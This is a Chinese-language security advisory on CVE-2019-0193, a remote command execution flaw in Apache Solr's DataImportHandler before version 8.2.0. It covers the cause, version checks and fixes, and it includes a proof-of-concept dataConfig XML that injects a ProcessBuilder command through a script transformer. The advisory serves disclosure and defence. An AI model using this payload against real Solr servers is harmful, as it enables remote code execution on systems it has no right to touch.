Apache Solr远程命令执行漏洞处置建议

发布时间 2019-08-08

• 漏洞编号和级别


CVE编号:CVE-2019-0193,危险级别:严重,CVSS分值:官方未评定


• 影响版本


受影响的版本


适用于Solr < 8.2.0且开启了DataImport功能。


• 漏洞概述


Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。


此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。


该漏洞源于用户在solrconfig.xml文件中设置了DataImportHandler,开启了DataImport功能。DataImportHandler模块允许用户自己包含脚本,来进行配置。攻击者可以通过构造恶意的脚本交由转换器进行解析,在Solr解析的过程中并未对用户的输入做检查,可导致攻击者远程在Solr服务器上执行命令。


• 漏洞验证


POC:


<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
     type="JdbcDataSource"  
     driver="com.mysql.jdbc.Driver"  
     url="jdbc:mysql://localhost:3306/mysql"  
     user="root"  
     password="123456"/>
<script ><![CDATA[
   function f2c(row) {
      var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
     return row;
   }
   ]]>
 </script>  
<document>  
 <entity name="Users" query="SELECT 1" transformer="script:f2c">
 </entity>  
</document>  
</dataConfig>


访问url:http://ip:8983/solr/#/core1/dataimport//dataimport,存在这个路径,就证明用户的solr,有可选模块DataImportHandler,存在漏洞利用风险。详见下图:

 


该漏洞影响版本Solr < 8.2.0,在Dashboard页面可以查看solr的版本,详见下图:

 


• 修复建议


将Apache Solr升级至8.2.0或更高的版本。


临时修复建议:


1、 编辑solrconfig.xml,将所有用固定值配置的DataImportHandler用法中的dataConfig参数设置为空字符串;

 


2、确保网络设置只允许可信的流量与Solr进行通信,特别是与DIH请求处理程序的通信。


• 参考链接


https://issues.apache.org/jira/browse/SOLR-13669